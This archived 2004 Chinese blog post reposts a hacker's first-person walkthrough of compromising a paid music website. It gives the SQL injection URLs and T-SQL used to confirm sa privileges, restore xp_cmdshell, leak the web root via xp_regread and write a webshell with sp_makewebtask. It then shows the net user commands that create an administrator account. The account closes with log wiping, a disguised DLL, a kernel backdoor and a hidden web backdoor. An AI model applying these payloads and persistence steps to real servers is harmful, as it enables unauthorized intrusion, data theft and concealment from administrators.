利用纯脚本拿到系统权限 :: Neeao's Blog

来源: BlogBus 原始链接: http://neeao.blogbus.com:80/logs/2004/09/371222.html 存档链接: https://web.archive.org/web/20061103220311id_/http://neeao.blogbus.com:80/logs/2004/09/371222.html


Neeao's Blog 记录我在学习中的小小的发现、以及一些经典的东西! 马上毕业了,也该学点东西了,不是吗? --by:Neeao <<<原创动画:入侵飞龙文章管理系统官方网站 | 首页 | 兄弟,一路走好!>>> 2004-09-05 利用纯脚本拿到系统权限 首先..我想说一下臭要饭的这个人..他是SQL注入领域的一大高手..我最初是在20CN看到他的一篇文章..觉得他很厉害..后来听许多人说此人十分精通SQL INJECTION..后来在QQ上也交了个朋友.人非常谦虚..这篇文章就是我管他要的..希望对大家有帮助..此人软件也做过不少..黑基上一个SQL分析和注入全套工具就是他的作品..好了不多说了希望置顶呵呵..以下就是他本人的文章 前言 这绝对是一篇非常有观看价值的文章.有我对脚本注入漏洞的深入了解,对入侵的新思维分析. 目前网上到处流行的SQL INUTECTION 漏洞,也就是我们通常所说的SQL注入漏洞.利用这个漏洞大家可以跨表,跨库查询数据库信息. 以及通过论坛来上传文件从而得到主机WEBSHELL。这些都是一些很通常的手法.如果安装了PCANYWHERE,拿下CIF文件,破解后也就拿到了系统管理员账号. 不过,安装PCANYWHERE的机子也并不多.我们就开创一条新的道路.利用这个漏洞,更重要在于去了解和分析服务器的安全配置,找到漏洞.结合系统漏洞. 拿到管理员权限.这才是我们真正要做的.所以,今天我就为大家介绍一下,前段时间我对一大型音乐收费网站进行安全测试的全部. 经过和分析.结果我利用纯脚本技术,拿到了系统管理员权限. 踩点: 踩点,是对一个服务器进行安全测试的首要工作。我们对服务器先进行端口扫描.我拿出了朋友写的一款非常不错的扫描程序,速度相当快.同时开2000个线程半支烟功夫,端口从1-65535就扫完了. 扫描结果,开放端口如下: 21,80,1433,3389 再次扫描得到的结果相同.冲击波过后,网络上的服务器安全了许多.入侵也有一定的难度了. 分析了一下,我把目标集中在21,1433端口. 现在只有看看运气,是否能扫出个弱口令. 真是倒霉,我很久都没有扫到存在弱口今的机子了,今天也一样.什么都没扫出来. 看来,我也有从网站脚本上,寻找出路了. 对网站进行全方面的探索: 开了1433端口,SQLSERVER服务,一般都是ASP+MSSQL结构,来架设网站的,ASP脚本的注入漏洞,比其他脚本漏洞好找. 存在的机率也相对要大得多.我一般对所提交的参数,加入单引号进行判断.没有过滤的参数IE一般都会返回错误信息. 我很快找到了一个没有经过任何过滤的参数. 提交: http://www.cnwill.com/script.asp?id=2' IE返回: 提交: http://www.cnwill.com/script.asp?id=2 and 1=1 IE返回正常记录. 提交: http://www.cnwill.com/script.asp?id=2 and 1=2 IE没有返回记录. 好了.下面我们就利用这个漏洞拿到服务器和数据库的一些相关信息. 提交: http://www.cnwill.com/script.asp?id=2 and 1=(select @@VERSION) 这就看到服务器打的补丁情况了! 出错了,呵呵,IE给我们返回了以下错误信息,如图1 ( 图1) 服务器打了SP4补丁.据说打了SP4后,也有对80的溢出程序,和对MSSQL SP3的溢出程序. 不过这些我都没有,呵呵,这台服务器从系统方面对于我来讲,还是比较安全的.所以我还是接着从脚本方面着手吧. 再看看他的数据库连接账号的权限吧. 提交: http://www.cnwill.com/script.asp?id=2 and 1=(SELECT IS_SRVROLEMEMBER('sysadmin')) 返回正常,证明当前连接的账号是服务器角色sysadmin权限. 差点没让我把嘴里的一口茶喷到电脑屏幕上.服务器角色居然是sysadmin权限.(如图2) (图2) 哈哈!看来连接账号多半是SA的了。 提交: http://www.cnwill.com/script.asp?id=2 and 'sa'=(SELECT System_user) 用来查看连接账号是不是用sa 连接的 IE再一次返回正常.证明了连接账号是SA。权限是至高无尚的了. 到这里,可能很多人,就想到了利用xp_cmdshell。来加系统账号,然后使用终端连接上去. 非常不错的想法!我也是很多人中的一员!我们来试试吧! 利用MSSQL存储过程,得到WEBSHELL。 来,看看xp_cmdshell是否被管理员删除了! 提交: http://www.cnwill.com/script.asp?id=2 and 1=(SELECT count() FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell') 没有返回内容,提示找不到记录了。 看来,xp_cmdshell已经被删除了。呵呵,给他恢复一下. http://www.cnwill.com/script.asp?id=2 ;EXEC master.dbo.sp_addextendedproc ‘xp_cmdshell’, 'xplog70.dll' 再试,看xp_cmdshell是不是恢复过来了。 http://www.cnwill.com/script.asp?id=2 and 1=(SELECT count() FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell') 同样没有返回内容.这证明,管理员把xplog70.dll这个动态链接库给改名了。要不给删除了.直接恢复是没有没法的了. 对此,我只能说两个字"我忍"! 这么好个漏洞,不好好利用我是不心甘的。先拿他的WEBSHELL再说,拿到WEBSHELL。我有办法对付他的。 我们GO! 看过,N.E.V.E.R和CZY的文章没有?拿WEBSHELL的方法,两位大哥都已经详细的介绍过了。我也把他们的方法写成了程序。方便我使用嘛. 不过很老火的是得不到WEB绝对路径。我们生成的木马保存在什么地方呢? 这可能是很多牛人一直在研究的问题。还好,我对MSSQL还是了解点点。有办法得到他的WEB绝对路径.跟我来吧. 下面我们要利用两个MSSQL存储过程.现在给大家介绍一下: xp_regread 扩展存储过程和sp_makewebtask WEB 助手存储过程. xp_regread是用来读出注册表信息的.我们用来得到WEB绝对路径就是用他. sp_makewebtask是用来得到WEBSHELL的,其主要功能就是导出数据库中的表的记录为文件。 我这里就不用N.E.V.E.R大哥的方法了。他的方法是导出库文件,文件都比较大,所以采用了CZY大哥的方法。 1.怎么拿到WEB绝对路径? 呵呵,这个问题,花了我很久时间去研究.大家都知道MS的东西,都放在注册表中的。 在注册表中我们得到WEB位置就是: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots 利用扩展存储过程:xp_regread我们可以取得他的值. EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/' 这样,就取出来了,问题又来咯,取是取出来了,我们怎么在IE中返回他的值呢? 我们先创建一个临时表,表中加一字段,类型为:char 255 呵呵这个用来保存WEB绝对路径的值. 表建好后,我们就用读取注册表的方法,把返回的值保存在一变量中。 然后向新建的表中加入变量的值。这样,路径就写入了表中。 来: DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);-- 然后,我们再提交: 1=(select count() from 临时表 where 临时字段名>1) 这样IE报错,就把刚才插进去的WEB路径的值报出来了。 我也试过直接用变量来报错,让IE返回变量的值,结果是失败的,所以就想到了建临时表加数据进去的方法! 最后我们再删除刚建的临时表。工作就此告一段落。 2.怎么拿到WEBSHELL。 CZY大哥的文章已经写得很详细了。所以,我这里就只简单的提一下吧! 先创建一个表,建一字段,然后向这个字段中加入木马的内容。 然后,把内容通过xp_makewebtask存储过程导出成ASP脚本保存在WEB绝对路径中. 再次删除建的昨时表,一切就OVER了。 如: EXECUTE sp_makewebtask @outputfile = 'C:\WEB\yfdmm.asp', @query = 'SELECT 你的字段 FROM 你建的临时表' 呵呵,结果就出来了。当然我都写成了程序,所以就不用那么麻烦,自己手工一行一行的加数据进去了。 方法和思路都写了。现在我们就来行动吧. 还是先看看,他这两个扩展存储过程是不是已经被删除了。如果被删了,我也不想活人了。真到兴头,冷水就来了。 提交: http://www.cnwill.com/script.asp?id=2 and 1=(SELECT count() FROM master.dbo.sysobjects WHERE name= 'xp_regread') 提交: http://www.cnwill.com/script.asp?id=2 and 1=(SELECT count() FROM master.dbo.sysobjects WHERE name= 'sp_makewebtask') 啦啦啦!今天是什么日子,我比过年还开心啦。全部返回正常。两个要用到的存储过程都没有删除。 (不过一般管理员也不会删除这两个的.了解太少了,也就不会注意他们嘛!) 好,来拿WEB绝对路径. 建表: http://www.cnwill.com/script.asp?id=2 ;create table [dbo].[cyfd] ([gyfd]char); 向表中加数据: http://www.cnwill.com/script.asp?id=2 ;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);-- 爆出WEBSHELL的绝对路径: http://www.cnwill.com/script.asp?id=2 and 1=(select count() from cyfd where gyfd > 1) 如图3 哇,WEB绝对路径出来了: d:\Inetpub\wwwroot. 后面的,,211我们不管。 再把刚才建的表给删掉. http://www.cnwill.com/script.asp?id=2 ;drop table cyfd;-- OK,有了路径下面的就好办多。 打开我写的获取WEBSHELL的程序。 输入漏洞URL: http://www.yfd.com/yfd.com?id=2 输入保存木马的绝对路径:d:\Inetpub\wwwroot. 木马我早就配置好了,代码简减了又简减只有30行代码,这样才少向服务器提交数据。 加快速度嘛!木马的主要功能,就是输入内容,把输入的内容保存为一个文件。呵呵,通过这样的木马,我们就可以实现上传一些功能强大的脚本木马了,如海洋木马. 一分钟不到。程序都已经运行完毕。输入相应的路径。娃哈哈,WEBSHELL就来了。以最快的速度生成了一个海洋木马。 如图4,5: (图4) (图5) 我生活在幸福之中。开心吧!下面我们还得接着干呢! 恢复xp_cmdshell,我们要拿到系统管理员权限 下面的工作就是很简单,很轻松了。10分钟不到,就给你一个管理员账号. 都说了xp_cmdshell已经被删除了。并且无法恢复,这多半是管理员把xplog70.dll文件给删除,要不改名了。 没事,我们上传一个xplog70.dll就搞定一切了。 通过WEBSHELL。我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了。 来吧,我们来给他恢复。 提交: http://www.cnwill.com/script.asp?id=2 ;EXEC master.dbo.sp_addextendedproc ‘xp_cmdshell’, 'e:\inetpub\wwwroot\xplog70.dll' 恢复,支持绝对路径的恢复哦。:)如图 OK。我们用IE来查看一下是不是已经恢复了。 提交: http://www.cnwill.com/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell') 嘿嘿。返回正常。已经恢复了.。 下面的还用我说吗?呵呵! 加账号: http://www.cnwill.com/script.asp?id=2 ;exec master.dbo.xp_cmdshell 'net user chouyfd chouyfd1314yf /add' 提升自己为超级管理员 http://www.cnwill.com/script.asp?id=2 ;exec master.dbo.xp_cmdshell 'net localgroup administrators chouyfd /add' 完毕。打开你的终端连接程序,连接吧! 哈哈,终于给我连上了。到此我就成功的拿到了这台主机的系统管理员账号. 如图6: (图6) 下面的工作就是清除日志和留下超级后门,然后闪人! 事后处理工作 终端连接上后,以最快的速度,清除IIS日志,和MSSQL日志. 同时,把xp_cmdshell也给他删除掉,不要让他发现了,也就不好办了。再把我上传的那个xplog70.dll移动到SYSTEM32目录下 改个我都不知道什么意思的名字叫:msxlog32.dll(打死他,他也查不出来,哈哈!) 嗯,再拿来,朋友提供的超级内核后门程序安装起,再把存在漏洞的脚本文件给打上补丁。同时在他的那个脚本程序中,我修改了代码。 提交特定的参数(POST提交方式),显示我的WEB后门程序! 这样两个后门,很保险!怕什么呢?开开心心过年吧! 结束语! 本文章中的URL我全部经过处理,所以请大家原谅:)文章可能还有很多地方大家有不明白的。 抱歉,篇幅有限,直接和我交流吧!:dy-e@163.net 这次完全通过脚本技术拿到系统管理员账号.也是我很久以来,对MSSQL深入学习的结果. 本文章,主要在于入侵的思路.方法是多种多样的。希望对大家有所帮助。可能我对MSSQL的研究到此就结束了。期待我更精彩的吧!我能做到!相信我! neeao 发表于 2004-09-05 16:16 引用Trackback(0) | 编辑 评论 发表评论 最后更新